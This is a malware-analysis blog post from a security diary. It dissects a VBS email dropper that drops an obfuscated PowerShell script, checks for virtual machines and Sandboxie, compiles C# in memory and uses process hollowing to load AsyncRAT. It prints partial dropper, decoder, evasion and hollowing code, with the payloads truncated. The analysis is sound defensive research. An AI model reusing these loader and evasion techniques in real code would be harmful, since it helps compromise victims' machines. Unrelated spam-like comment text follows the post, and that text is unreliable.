From VBS, PowerShell, C Sharp, Process Hollowing to RAT

Published: 2021-03-04
Last Updated: 2021-03-04 07:21:33 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

VBS files are interesting to deliver malicious content to a victim's computer because they look like simple text files. I found an interesting sample that behaves like a dropper. But it looks also like Russian dolls seeing all the techniques used to drop a RAT at the end. The file hash is 8697dc74d7c07583f24488926fc6e117975f8a9f014972073d19a5e62d248ead and has a VT score of 12/59[1]. It was delivered by email under the name "Procurement - Attached RFQ 202102.vbs". If you filter attachments based on the MIME type, this file won't be detected as suspicious:

remnux@remnux:/MalwareZoo/20210303$ file *.vbs
Procurement - Attached RFQ 202102.vbs: ASCII text, with very long lines, with CRLF line terminators

When you try to open a .vbs file on a standard Windows system, it is processed by the "Microsoft ® Windows Based Script Host" handlers. Here is the code executed when you open this script:

Private Function vQ(Inp, Key, Mode)
    Dim z, i, Position, cptZahl, orgZahl, keyZahl, cptString
    For i = 1 To lEn(Inp)
        Position = Position + 1
        If Position > lEn(Key) Then Position = 1
        keyZahl = aSc(Mid(Key, Position, 1))
        If Mode Then  
            orgZahl = aSc(Mid(Inp, i, 1))
            cptZahl = orgZahl Xor keyZahl
            cptString = hEx(cptZahl)
            If lEn(cptString) < 2 Then cptString = "0" & cptString
            z = z & cptString  
            If i > lEn(Inp) \ 2 Then Exit For
            cptZahl = CByte("&" & "H" & Mid(Inp, i * 2 - 1, 2))
            orgZahl = cptZahl Xor keyZahl
            z = z & cHR(orgZahl)
        End If
    vQ = z
End Function

Dim AqUhNbgAqwpMb
AqUhNbgAqwpMb = "31562B0462222C4B781D323A2D1E1D4A2C4C39202E190F14112E3A1E0C432A5A454C1D392A1D1B5127260F22381E3D086E011F012E5B451B3F594B23031B217726535F5863201340205A593D28000E59003C3F173249335C144C493D4B234509370B044D5072585B17233B5F24703426190F7F363A1E2C2609173F552B09244B5C3E6C7D195D23136E015E2C501F0E5A453E314C34493D28331E507B394603242E526226063C291E0C08134726227F447D72334A3C1D3158532D3C4C7E754425390E0D7841200A0F0F03316A26505E3A413119576F141679085C2D5551445420325134502C1C1E5C0B153D131E3E41505D7303180A7F1F1F7D0E2D733E03126F215C7B794641334B58766C1A567E515B78093F0E0A540E7908027F05166B241E681C5379264B... (remaining bytes removed)

Dim SH
SH = cHR(80 + 7) & cHR(100 + 15) & cHR(66 + 1) & cHR(80 + 2) & cHR(110 - 5) & cHR(85 - 5) & cHR(80 + 4) & cHR(40 + 6) & cHR(230 / 2) & cHR(36 * 2) & cHR(60 + 9) & cHR(100 + 8) & cHR(70 + 6)
Set WS = CreateObject(SH)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set MyFile = FSO.CreateTextFile(FSO.GetSpecialFolder(2) + "\OS64Bits.PS1", True)
MyFile.WriteLine(rEPlAcE(vQ(AqUhNbgAqwpMb, "p2O)6[\.X0sI^{p(@5wAC|/Gh]N{am}3+(rNY3]>UK|/2_YlCUfqK{hZL*.NawX9G>:x.I", False), "%VBS%", wscript.SCRIPTFULLNAME))
WS.rUN "POWERSHELL -eXEcUTiONpOLicY rEmOtEsIgNeD -FILE " & FSO.GetSpecialFolder(2) + "\OS64Bits.PS1", 0

The payload is stored in AqUhNbgAqwpMb and decoded by the vQ().This function is an XOR-decoder using a muli-bytes key. The decoded payload is dropped on the filesystem (C:\Users\<user>\AppData\Local\Temp\OS64Bits.PS1) and executed by PowerShell. This script looks interesting at multiple points.

First, most suspicious strings are obfuscated and binary encoded. Decoding is performed via a specific function:

Function Binary2String([String] $data) {
    $byteList = [System.Collections.Generic.List[Byte]]::new()
    for ($i = 0; $i -lt $data.Length; $i +=8) {
        $byteList.Add([Convert]::ToByte($data.Substring($i, 8), 2))
    return [System.Text.Encoding]::ASCII.GetString($byteList.ToArray())

There is a detection mechanism of virtual environments:

Function VirtualMachineDetector() {
    $searcher = (New-Object System.Management.ManagementObjectSearcher(Select * from Win32_ComputerSystem))
    $items = $searcher.Get()
    $Tr = ""
    foreach ($item in $items) {
        [String] $manufacturer = $item["Manufacturer"].ToString().ToLower()
        if (($manufacturer -eq "microsoft corporation" -and \
           $item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) -or \
           $manufacturer.Contains("vmware") -or $item["Model"].ToString() -eq "VirtualBox") {
             $Tr = "True"
        } else {
             $Tr = "False"
     return $Tr

Note also the presence of a function to detect Sandboxie[2], another sandbox tool that is easy to spot by tracking the DLL SbieDll.dll:

Function DetectSandboxie() {
    [Int32] $i = ModuleHandle("SbieDll.dll")
    [String] $s = ""
    if ($i -eq 0) {
        $s = "False"
    } else {
        $s = "True"
    return $s

 The most interesting function is CodeDom. It invokes the CSharp compiler to compile the next payload:

function CodeDom([Byte[]] $BB, [String] $TP, [String] $MT) {
    $dictionary = new-object 'System.Collections.Generic.Dictionary[[string],[string]]'
    $dictionary.Add(("CompilerVersion"), ("v4.0"))
    $CsharpCompiler = New-Object Microsoft.CSharp.CSharpCodeProvider($dictionary)
    $CompilerParametres = New-Object System.CodeDom.Compiler.CompilerParameters
    $CompilerParametres.IncludeDebugInformation = $false
    $CompilerParametres.GenerateExecutable = $false
    $CompilerParametres.GenerateInMemory = $true
    $CompilerParametres.CompilerOptions += ("/platform:X86 /unsafe /target:library")

    $BB = Decompress($BB)

    [System.CodeDom.Compiler.CompilerResults] $CompilerResults = \
       $CsharpCompiler.CompileAssemblyFromSource($CompilerParametres, \

    [Type] $T = $CompilerResults.CompiledAssembly.GetType($TP)

    [Byte[]] $Bytes =  Decompress(@( \
      31,139,8,0,0,0,0,0,4,0,180,189,7,124,92,213,149,63,126,231,77,213,168,206,168,203,18,150,139,204,216, \
      198,178,138,37,75,6,131,213,45,219,178,213,108,75,14,193,140,164,145,52,246,72,79,158,25,201,150,13, \
      (bytes removed)

    try {
        [String] $MyPt = \
        [Object[]] $Params=@($MyPt.Replace("Framework64","Framework") ,$Bytes)
        return $T.GetMethod($MT).Invoke($null, $Params)
    } catch { }

The CSharp code is located in the variable BB (I posted the code on Pastebin[3]). By having a look at the code, we can see a bunch of interesting API calls:

private static readonly DelegateVirtualAllocEx VirtualAllocEx = LoadApi<DelegateVirtualAllocEx>(ReverseString(Kernel32), ReverseString(VirtualAllcEx)); 
private static readonly DelegateWriteProcessMemory WriteProcessMemory = LoadApi<DelegateWriteProcessMemory>(ReverseString(Kernel32), ReverseString(WriteProcessMem)); 
private static readonly DelegateReadProcessMemory ReadProcessMemory = LoadApi<DelegateReadProcessMemory>(ReverseString(Kernel32), ReverseString(ReadProcessMem)); 
private static readonly DelegateZwUnmapViewOfSection ZwUnmapViewOfSection = LoadApi<DelegateZwUnmapViewOfSection>(ReverseString(ntdll), ReverseString(ZwUnmapViewOfSec)); 
private static readonly DelegateCreateProcessA CreateProcessA = LoadApi<DelegateCreateProcessA>(ReverseString(Kernel32), ReverseString(CreateProcA));

This clearly indicates that process hollowing is used to replace the code of a legit process with malicious code. This code is located in the variable Bytes and is a PE file (SHA256:D452CEE94E3A2D58B05E9F62A4AA4004C0632D9B56FA8B57664D295BC88C4DF0) that tries to communicate with a C2 server located at on port 8989. The malware belongs to the AsyncRat[4] family. 

Note: My advice to protect yourself against such malicious .vbs file is to replace the default app to open them with notepad.exe. 


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

0 comment(s)
ISC Stormcast For Thursday, March 4th, 2021


eweew<a href="">mashood</a>
dwqqqwqwq mashood
[ |]
What's this all about ..?
password reveal .
<a hreaf="">the social network</a> is described as follows because they respect your privacy and keep your data secure:

<a hreaf="">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.

<a hreaf="">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission

Diary Archives